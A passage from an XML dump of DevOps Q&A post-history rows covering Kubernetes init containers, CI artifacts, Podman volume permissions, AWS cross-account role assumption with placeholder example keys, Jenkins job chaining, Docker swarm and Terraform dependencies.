1 Ran!&quot;]&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      initContainers:&#xD;&#xA;      - name: init2&#xD;&#xA;        image: busybox&#xD;&#xA;        command: [&quot;echo&quot;, &quot;Init 2 Ran!&quot;]&#xD;&#xA;      containers:&#xD;&#xA;      - name: task2&#xD;&#xA;        image: busybox&#xD;&#xA;        imagePullPolicy: Always&#xD;&#xA;        command: [&quot;echo&quot;, &quot;Task 2 Ran!&quot;]&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's not valid to duplicate `spec` as I did in that example of what I'm attempting to achieve. But it demonstrates the sequence of events I want. Initially `init1` and `init2` kick off, and once each finishes, `task1` and `task2` start following their respective init containers." ContentLicense="CC BY-SA 4.0" />
  <row Id="34456" PostHistoryTypeId="1" PostId="11262" RevisionGUID="5fb7107e-a779-477c-b38d-f74521d3cf7a" CreationDate="2020-04-07T02:23:50.227" UserId="17675" Text="Running two containers in a kubernetes job each with their own initContainers" ContentLicense="CC BY-SA 4.0" />
  <row Id="34457" PostHistoryTypeId="3" PostId="11262" RevisionGUID="5fb7107e-a779-477c-b38d-f74521d3cf7a" CreationDate="2020-04-07T02:23:50.227" UserId="17675" Text="&lt;kubernetes&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34458" PostHistoryTypeId="2" PostId="11263" RevisionGUID="69db3933-5e6c-4d15-8771-f35c9b1b4f30" CreationDate="2020-04-07T07:42:30.790" UserId="21551" Text="Recently, I have had a lecture at my university about advanced testing and CI. To understand all concepts, I was searching what artifact represents, specifically in DevOps sphere. I found many contradictory statements, definitions, and articles. &#xD;&#xA;&#xD;&#xA;Therefore, I would like to ask, if there is a **standard** (or at least some unwritten rules) of what everything could be considered as an artifact. What are the most important parts of artifact which should always be included? &#xD;&#xA;&#xD;&#xA;Many sources say that artifact should not be source code, but deliverable, and JDK is often used as an example. In that case, I would like to know what is the equivalent when working with scripting languages like JavaScript or Python. &#xD;&#xA;&#xD;&#xA;Thank you for all your explanations!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34459" PostHistoryTypeId="1" PostId="11263" RevisionGUID="69db3933-5e6c-4d15-8771-f35c9b1b4f30" CreationDate="2020-04-07T07:42:30.790" UserId="21551" Text="What can be considered as an artifact" ContentLicense="CC BY-SA 4.0" />
  <row Id="34460" PostHistoryTypeId="3" PostId="11263" RevisionGUID="69db3933-5e6c-4d15-8771-f35c9b1b4f30" CreationDate="2020-04-07T07:42:30.790" UserId="21551" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34461" PostHistoryTypeId="2" PostId="11264" RevisionGUID="2fd7ce7d-7d6f-45ea-a2d1-54864baa643e" CreationDate="2020-04-07T08:10:12.453" UserId="20101" Text="Artifact is an abstraction. It could be anything that's produced by somebody else. In Bulgaria for example we're making artifacts for the winter time ( it's called 'compot') . Basically it's an artifact, it was produced by my grandmother and could be used by me :)&#xD;&#xA;&#xD;&#xA;Same goes into the IT world, but with one small difference.&#xD;&#xA;&#xD;&#xA;The Java artifacts are a little bit more special, since Java is a static language and before the run phase you would have those compiled artifacts - *.jar files. After that you could reference them during the 'run' phase. This is the reason why they are always pointed as the most straightforward artifact example, the java compiler will produce them. &#xD;&#xA;&#xD;&#xA;One major distinguishment between my grandmother's artifacts and Java's ones is that it's a good practice to have a version for each artifact, that way you could easily switch them and see what works and what does not.&#xD;&#xA; &#xD;&#xA;JavaScript and Python are dynamic languages, they do not have any compiled artifacts like Java, you could just refer to the '.py' file.&#xD;&#xA;&#xD;&#xA;As a summary an artifact could be anything:&#xD;&#xA;from tar.gz to a jar file, but it must always be versioned :) Of course the versioning might come during a later stage, like a docker image tag, but the principle still remains.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34462" PostHistoryTypeId="2" PostId="11265" RevisionGUID="d379eb8f-bbc2-4bf7-bd21-ed2f7979d150" CreationDate="2020-04-07T09:50:50.930" UserId="21562" Text="I know that is not the clean solution everybody looks for and is a nasty workaround, but what worked for me was to squash all my deployment logic into a single Script Task (shell script) and then put the necessary conditions there, such as:&#xD;&#xA;```&#xD;&#xA;if [ &lt;put condition for terminate here&gt; ] ; then &#xD;&#xA;   exit 0&#xD;&#xA;fi &#xD;&#xA;&lt;Continue with other execution logic&gt;&#xD;&#xA;```&#xD;&#xA;In that way, you can exit with 0 (thus build shows as successful) , but of course that prevents you from reusing all of the out-of-the-box Bamboo Task types that are readily available and questions the benefits of using the bamboo framework as a wrapper." ContentLicense="CC BY-SA 4.0" />
  <row Id="34466" PostHistoryTypeId="52" PostId="11263" RevisionGUID="cd41e93c-06af-47af-98f1-eb50959ce157" CreationDate="2020-04-07T15:42:46.807" />
  <row Id="34467" PostHistoryTypeId="10" PostId="11263" RevisionGUID="2cc045aa-017e-45d3-a9b7-d8b699fe5726" CreationDate="2020-04-07T18:40:57.880" UserId="40" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[466],&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="34468" PostHistoryTypeId="50" PostId="10959" RevisionGUID="517af6ae-f88a-4127-b386-7ad074b066ef" CreationDate="2020-04-07T19:01:40.197" UserId="-1" />
  <row Id="34470" PostHistoryTypeId="2" PostId="11267" RevisionGUID="efada68b-3dc4-4467-8841-5822e88d4689" CreationDate="2020-04-07T21:10:20.747" UserId="21572" Text="I am starting to learn about containers using `podman` that came with RHEL8.1 (which AFAIK can be used in place of `docker`), and have the following baby `Dockerfile` as a learning exercise:&#xD;&#xA;&#xD;&#xA;    # Use Alpine Linux base image&#xD;&#xA;    FROM alpine:latest&#xD;&#xA;    &#xD;&#xA;    # Install pacakges&#xD;&#xA;    RUN apk --no-cache add bash gcc make&#xD;&#xA;    &#xD;&#xA;    # Make a directory for source code&#xD;&#xA;    RUN mkdir /src_dir&#xD;&#xA;    &#xD;&#xA;    # Set working directory to the same directory&#xD;&#xA;    WORKDIR /src_dir&#xD;&#xA;    &#xD;&#xA;    # Set this directory as a volume&#xD;&#xA;    VOLUME [ &quot;/src_dir&quot; ]&#xD;&#xA;&#xD;&#xA;As you can see, I've installed the most basic `gcc` and `make` into this container with the goal of mounting a set of source files on my container host into the `/src_dir` directory within the container.&#xD;&#xA;&#xD;&#xA;I next build the container image in the host directory containing the `Dockerfile`:&#xD;&#xA;&#xD;&#xA;    podman build -t my_image .&#xD;&#xA;&#xD;&#xA;I then start the container with this command&#xD;&#xA;&#xD;&#xA;    podman run -it -v /host/foobar:/src_dir /bin/bash&#xD;&#xA;&#xD;&#xA;Where `/host/foobar/` on my host is an arbitrary directory containing some arbitrary source code, all of which my local user on the host has full read/write access to. For example, there is one file `/host/foobar/test.c`. This then brings me to a `bash` prompt inside the container. I can see that I'm at the correct place because:&#xD;&#xA;&#xD;&#xA;    bash-5.0# pwd&#xD;&#xA;    /src_dir&#xD;&#xA;&#xD;&#xA;However, I have absolutely no read/write access to `/src_dir`. Both `ls -lh` and `cat test.c` gave me permission denied errors. If I change to the root directory (or any other directory) of the container, I can see and access other things. Strangely, if I run `ls -lh /` I can see `/src_dir` as being owned by `root:root`, so I don't understand why as the container's root user I can't access anything in it.&#xD;&#xA;&#xD;&#xA;I also tried `podman inspect [container ID]`, and in the output I can see:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;Mounts&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;Type&quot;: &quot;bind&quot;,&#xD;&#xA;                    &quot;Name&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Source&quot;: &quot;/host/foobar&quot;,&#xD;&#xA;                    &quot;Destination&quot;: &quot;/src_dir&quot;,&#xD;&#xA;                    &quot;Driver&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Mode&quot;: &quot;&quot;,&#xD;&#xA;                    &quot;Options&quot;: [&#xD;&#xA;                        &quot;rbind&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;RW&quot;: true,&#xD;&#xA;                    &quot;Propagation&quot;: &quot;rprivate&quot;&#xD;&#xA;                }&#xD;&#xA;            ]&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Which suggests that there *is* read/write permission?&#xD;&#xA;&#xD;&#xA;Perhaps I'm missing something obvious as a beginner, but what do I have to do so that I can run the `gcc` and `make` inside this container on the source files mounted in `/src_dir` *so that the container essentially acts as a complete development environment*?&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;P.S. I've read that it's a good idea to use a separate non-root user in the container, but I haven't figured that out yet... Is this easy to achieve given my situation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34471" PostHistoryTypeId="1" PostId="11267" RevisionGUID="efada68b-3dc4-4467-8841-5822e88d4689" CreationDate="2020-04-07T21:10:20.747" UserId="21572" Text="Permission denied within mounted volume inside Docker/Podman container" ContentLicense="CC BY-SA 4.0" />
  <row Id="34472" PostHistoryTypeId="3" PostId="11267" RevisionGUID="efada68b-3dc4-4467-8841-5822e88d4689" CreationDate="2020-04-07T21:10:20.747" UserId="21572" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;permissions&gt;&lt;volume&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34473" PostHistoryTypeId="2" PostId="11268" RevisionGUID="a52cbf9b-b20c-4b2c-893d-87d2da70c36b" CreationDate="2020-04-07T23:07:11.403" UserId="21575" Text="Supposing the scenario with two accounts A &amp; B the explanatory steps should be:&#xD;&#xA;&#xD;&#xA;1. In **account A**, I created a **role** (e.g `RoleForB`) to trust **account B**, and attach to the before created role a **IAM policy** to allow it to perform some read operations in **account A**. `e.g ReadOnlyAccess`&#xD;&#xA;2. In **account B**, I created a **role** (e.g `AssumeRoleInA`) and attach a **policy** to allow it to assume the role that is created in **account A**.&#xD;&#xA;3. In **account B** Associate to your EC2 instance `ec2-profile` the IAM role (`AssumeRoleInA`) created in step 2.&#xD;&#xA;4. In **account B** login into this EC2 instance to **assume the role** in **Account A** using the command `aws sts assume-role --role-arn &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot; --role-session-name &quot;EC2FromB&quot;`.&#xD;&#xA;5. In **account B** EC2 terminal when the command is **step 4.** finished, you can see the **access key ID, secret access key, and session token** from wherever you've routed it, in our case `stdout` either manually or by using a script. You can then assign these values to environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)&#xD;&#xA; &#xD;&#xA;So Let’s check the configurations mentioned above step by step but with some mode detail:&#xD;&#xA;&#xD;&#xA;1. As before presented in **account A**, it builds the trust to **account B** by creating the role named `RoleForB` and attaching `ReadOnlyAccess` permission to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: {&#xD;&#xA;		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;		&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::Account_B_ID:root&quot;},&#xD;&#xA;		&quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. In **account B**, create a **role** named `AssumeRoleInA` then attach the corresponding `policy` to allow it to assume the role named `RoleForB` in **account A**.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;  &quot;Statement&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;      &quot;Resource&quot;: [&#xD;&#xA;        &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;3. In **account B**, create a new **EC2 instance** (if it does not exists yet), and associate it's **ec2-profile** with the **IAM role** named `AssumeRoleInA`.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: {&#xD;&#xA;		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;		&quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;},&#xD;&#xA;		&quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;4. In **account B** login into this EC2 instance to **assume the role** in **Account A** using the command: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws sts assume-role --role-arn &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot; --role-session-name &quot;EC2FromB&quot;`&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;```&#xD;&#xA;jenkins@bb-jenkins-vault:~$ aws sts assume-role --role-arn arn:aws:iam::521111111144:role/DeployMaster --role-session-name &quot;project-dev-jenkins-deploy&quot;&#xD;&#xA;{&#xD;&#xA;    &quot;AssumedRoleUser&quot;: {&#xD;&#xA;        &quot;AssumedRoleId&quot;: &quot;AROAJBXGEHOQBXGEHOQ:project-dev-jenkins-deploy&quot;, &#xD;&#xA;        &quot;Arn&quot;: &quot;arn:aws:sts::521111111144:assumed-role/DeployMaster/project-dev-jenkins-deploy&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;Credentials&quot;: {&#xD;&#xA;        &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;, &#xD;&#xA;        &quot;SessionToken&quot;: &quot;FQoGZXIvYXCUm8iG6/zLdQ7foognvCDpxKP7cRJiZgc...CUm8iG6/zLdQ7foognvCDpxKP7c+OQF&quot;, &#xD;&#xA;        &quot;Expiration&quot;: &quot;2019-03-29T15:41:02Z&quot;, &#xD;&#xA;        &quot;AccessKeyId&quot;: &quot;AKIAI44QH8DHBEXAMPLE&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5. In **account B** EC2 terminal when the command is **step 4.** finished, you can see the **access key ID, secret access key, and session token** from wherever you've routed it, in our case `stdout` either manually or by using a script. You can then assign these values to environment variables&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE&#xD;&#xA;$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#xD;&#xA;$ export AWS_SESSION_TOKEN=FQoGZXIvYXCUm8iG6/zLdQ...&lt;remainder of security token&gt;&#xD;&#xA;$ aws ec2 describe-instances --region us-east-1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**complementary reading:** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_use-resources.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34474" PostHistoryTypeId="5" PostId="11268" RevisionGUID="045ae081-529c-4f00-a878-9e3c7ae3f69c" CreationDate="2020-04-08T00:16:11.713" UserId="21575" Comment="deleted 58 characters in body" Text="Supposing the scenario with two accounts A &amp; B the explanatory steps should be:&#xD;&#xA;&#xD;&#xA;1. In **account A**, I created a **role** (e.g `RoleForB`) to trust **account B**, and attach to the before created role a **IAM policy** to allow it to perform some read operations in **account A**. `e.g ReadOnlyAccess`&#xD;&#xA;2. In **account B**, I created a **role** (e.g `AssumeRoleInA`) and attach a **policy** to allow it to assume the role that is created in **account A**.&#xD;&#xA;3. In **account B** Associate to your EC2 instance `ec2-profile` the IAM role (`AssumeRoleInA`) created in step 2.&#xD;&#xA;4. In **account B** login into this EC2 instance to **assume the role** in **Account A** using the command `aws sts assume-role --role-arn &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot; --role-session-name &quot;EC2FromB&quot;`.&#xD;&#xA;5. In **account B** EC2 terminal when the command is **step 4.** finished, you can see the **access key ID, secret access key, and session token** from wherever you've routed it, in our case `stdout` either manually or by using a script. You can then assign these values to environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)&#xD;&#xA; &#xD;&#xA;So Let’s check the configurations mentioned above step by step but with some mode detail:&#xD;&#xA;&#xD;&#xA;1. As before presented in **account A**, it builds the trust to **account B** by creating the role named `RoleForB` and attaching `ReadOnlyAccess` permission to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: {&#xD;&#xA;		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;		&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::Account_B_ID:root&quot;},&#xD;&#xA;		&quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. In **account B**, create a **role** named `AssumeRoleInA` then attach the corresponding `policy` to allow it to assume the role named `RoleForB` in **account A**.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;  &quot;Statement&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xD;&#xA;      &quot;Resource&quot;: [&#xD;&#xA;        &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;3. In **account B**, create a new **EC2 instance** (if it does not exists yet), and associate it's **ec2-profile** with the **IAM role** named `AssumeRoleInA`.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: {&#xD;&#xA;		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;		&quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;},&#xD;&#xA;		&quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;	}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;4. In **account B** login into this EC2 instance to **assume the role** in **Account A** using the command: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws sts assume-role --role-arn &quot;arn:aws:iam::Account_A_ID:role/RoleForB&quot; --role-session-name &quot;EC2FromB&quot;`&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;```&#xD;&#xA;jenkins@bb-jenkins-vault:~$ aws sts assume-role --role-arn arn:aws:iam::521111111144:role/DeployMaster --role-session-name &quot;project-dev-jenkins-deploy&quot;&#xD;&#xA;{&#xD;&#xA;    &quot;AssumedRoleUser&quot;: {&#xD;&#xA;        &quot;AssumedRoleId&quot;: &quot;AROAJBXGEHOQBXGEHOQ:project-dev-jenkins-deploy&quot;, &#xD;&#xA;        &quot;Arn&quot;: &quot;arn:aws:sts::521111111144:assumed-role/DeployMaster/project-dev-jenkins-deploy&quot;&#xD;&#xA;    }, &#xD;&#xA;    &quot;Credentials&quot;: {&#xD;&#xA;        &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;, &#xD;&#xA;        &quot;SessionToken&quot;: &quot;FQoGZXIvYXCUm8iG6/zLdQ7foognvCDpxKP7cRJiZgc...CUm8iG6/zLdQ7foognvCDpxKP7c+OQF&quot;, &#xD;&#xA;        &quot;Expiration&quot;: &quot;2019-03-29T15:41:02Z&quot;, &#xD;&#xA;        &quot;AccessKeyId&quot;: &quot;AKIAI44QH8DHBEXAMPLE&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5. In **account B** EC2 terminal when the command is **step 4.** finished, you can see the **access key ID, secret access key, and session token** from wherever you've routed it, in our case `stdout` either manually or by using a script. You can then assign these values to environment variables&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE&#xD;&#xA;$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&#xD;&#xA;$ export AWS_SESSION_TOKEN=FQoGZXIvYXCUm8iG6/zLdQ...&lt;remainder of security token&gt;&#xD;&#xA;$ aws ec2 describe-instances --region us-east-1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**credit:** https://stackoverflow.com/a/55420220/6657158" ContentLicense="CC BY-SA 4.0" />
  <row Id="34475" PostHistoryTypeId="2" PostId="11269" RevisionGUID="2793aac3-2d11-49fc-bc9f-be5fc886eaf4" CreationDate="2020-04-08T06:55:11.830" UserId="21580" Text=" hi my frontend deployment is having one job and my backend deployment is having another job can't we keep both jobs in single job as my team wants to deploy both frontend and backend via a single job so that they can choose whatever environment and respective branches they required to deploy for their testings.any ideas pls?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34476" PostHistoryTypeId="1" PostId="11269" RevisionGUID="2793aac3-2d11-49fc-bc9f-be5fc886eaf4" CreationDate="2020-04-08T06:55:11.830" UserId="21580" Text="how to run multiple environments in single job in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="34477" PostHistoryTypeId="3" PostId="11269" RevisionGUID="2793aac3-2d11-49fc-bc9f-be5fc886eaf4" CreationDate="2020-04-08T06:55:11.830" UserId="21580" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34478" PostHistoryTypeId="2" PostId="11270" RevisionGUID="72504ba5-00a1-4db7-a777-5eba7bd28598" CreationDate="2020-04-08T07:34:20.440" UserId="3277" Text="This might not be the answer to your specific cross data-center-ip setup.&#xD;&#xA;&#xD;&#xA;I occasionally run into one or more swarm-nodes being status: `Down` and Availability: `Active`. Having the  `Status.Message`: `&quot;heartbeat failure&quot;`. This can happen after a reboot.&#xD;&#xA;&#xD;&#xA;What helped was to stop the docker daemon, remove `/var/lib/docker/swarm/worker/tasks.db` and start the docker daemon again.&#xD;&#xA;&#xD;&#xA;from:&#xD;&#xA;https://github.com/moby/moby/issues/34827#issuecomment-457678500&#xD;&#xA;&#xD;&#xA;sometimes it fixes itself: https://stackoverflow.com/a/54126180/2087704" ContentLicense="CC BY-SA 4.0" />
  <row Id="34479" PostHistoryTypeId="5" PostId="4614" RevisionGUID="65847ef5-13cb-4b69-8139-67df03e99a54" CreationDate="2020-04-08T08:23:10.093" UserId="21574" Comment="added flag that include directory structure.  " Text="This can be done [through the Jrog CLI](https://www.jfrog.com/confluence/display/CLI/CLI+for+JFrog+Artifactory). The CLI has a recursive option that looks like it will do what you hope.&#xD;&#xA;&#xD;&#xA;    jfrog rt upload --recursive artifactory-mirror/* artifact-repo/dir-struct/&#xD;&#xA;&#xD;&#xA;The CLI also has some performance improvements for uploads that doing it through curl or a browser don't seem to get. Also, scriptable!&#xD;&#xA;&#xD;&#xA;To include full directory structure you will want to use the flag --flat:false&#xD;&#xA;&#xD;&#xA;    jfrog rt upload --flat:false --recursive artifactory-mirror/* artifact-repo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34480" PostHistoryTypeId="24" PostId="4614" RevisionGUID="65847ef5-13cb-4b69-8139-67df03e99a54" CreationDate="2020-04-08T08:23:10.093" Comment="Proposed by 21574 approved by 354, 40 edit id of 1182" ContentLicense="CC BY-SA 4.0" />
  <row Id="34489" PostHistoryTypeId="2" PostId="11273" RevisionGUID="9c95cbb5-053a-4f56-ad1a-2bef790c1bd9" CreationDate="2020-04-08T14:13:22.813" UserId="16059" Text="A pretty standard way of doing this would be to chain your jobs or your pipelines.  This lets you keep separate jobs (which can be useful), but lets you trigger one job from the other and visualize the end-to-end flow.&#xD;&#xA;&#xD;&#xA;So, you still just tell one job to run, but it runs both properly.  Their config and logs are still well separated and you get all the other isolation related benefits.&#xD;&#xA;&#xD;&#xA;Example: https://www.jrebel.com/blog/using-jenkins-build-pipelines&#xD;&#xA;&#xD;&#xA;You can also do this in normal Jenkins jobs not using a pipeline; there is an option to trigger other jobs near the bottom usually." ContentLicense="CC BY-SA 4.0" />
  <row Id="34493" PostHistoryTypeId="5" PostId="11269" RevisionGUID="66916c95-60f7-496d-a30f-70c78267f235" CreationDate="2020-04-08T15:41:08.520" UserId="16059" Comment="Just made the writing style more readable." Text="My front-end deployment is having one job and my back-end deployment is having another job.  Can we keep both jobs in single job? My team wants to deploy both front-end and back-end together.&#xD;&#xA;&#xD;&#xA;Ideally, they can choose whatever environment and respective branches they required to deploy for their testings in this one job." ContentLicense="CC BY-SA 4.0" />
  <row Id="34494" PostHistoryTypeId="24" PostId="11269" RevisionGUID="66916c95-60f7-496d-a30f-70c78267f235" CreationDate="2020-04-08T15:41:08.520" Comment="Proposed by 16059 approved by -1 edit id of 1183" ContentLicense="CC BY-SA 4.0" />
  <row Id="34495" PostHistoryTypeId="5" PostId="11269" RevisionGUID="97663dae-a63f-4cf8-923c-8e8f5420441a" CreationDate="2020-04-08T15:41:08.520" UserId="354" Comment="Just made the writing style more readable." Text="I have two environments - front-end and back-end. My front-end deployment has  one job and my back-end deployment has another job. My team wants to deploy both front-end and back-end together. Can combine them into single job?&#xD;&#xA;&#xD;&#xA;Ideally, they can choose whatever environment and respective branches they required to deploy for their testings in this one job." ContentLicense="CC BY-SA 4.0" />
  <row Id="34496" PostHistoryTypeId="2" PostId="11275" RevisionGUID="6280ad14-5577-4d8b-9547-45b68d9b9db6" CreationDate="2020-04-08T17:16:42.510" UserId="21596" Text="The most popular answer is out of date with Terraform as of version 0.12.24.&#xD;&#xA;&#xD;&#xA;`depends_on` is a protected variable, and cannot be used in a `module`.&#xD;&#xA;In addition there are a few syntax differences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've updated the example below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# ROOT level main.tf&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create NAT Gateway - Associates EIP as well&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_nat_gateway&quot; {&#xD;&#xA;  source            = &quot;./vpc_nat_gateway&quot;&#xD;&#xA;  vpc_id            = module.vpc.id&#xD;&#xA;  public_subnet_ids = module.vpc_subnets.public_subnet_ids&#xD;&#xA;  private_cidr      = var.private_cidr&#xD;&#xA;  common_tags       = local.common_tags&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create Private Routes&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_private_route&quot; {&#xD;&#xA;  source         = &quot;./vpc_private_route&quot;&#xD;&#xA;  vpc_id.        = module.vpc.id&#xD;&#xA;  nat_gateway_id = module.vpc_nat_gateway.nat_gateway_id&#xD;&#xA;  common_tags    = local.common_tags&#xD;&#xA;&#xD;&#xA;  # Depends is a custom variable, depends_on is a reserved keyword.&#xD;&#xA;  depends = [module.vpc_nat_gateway.nat_gateway_id]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;# vpc_private_route module - main.tf&#xD;&#xA;variable &quot;depends&quot; {&#xD;&#xA;  default = []&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;depends_on&quot; {&#xD;&#xA;  triggers = {&#xD;&#xA;    depends_on = &quot;${join(&quot;&quot;, var.depends)}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az1&quot; {&#xD;&#xA;  vpc_id = var.vpc_id&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    null_resource.depends_on&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az2&quot; {&#xD;&#xA;  vpc_id = var.vpc_id&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    null_resource.depends_on&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
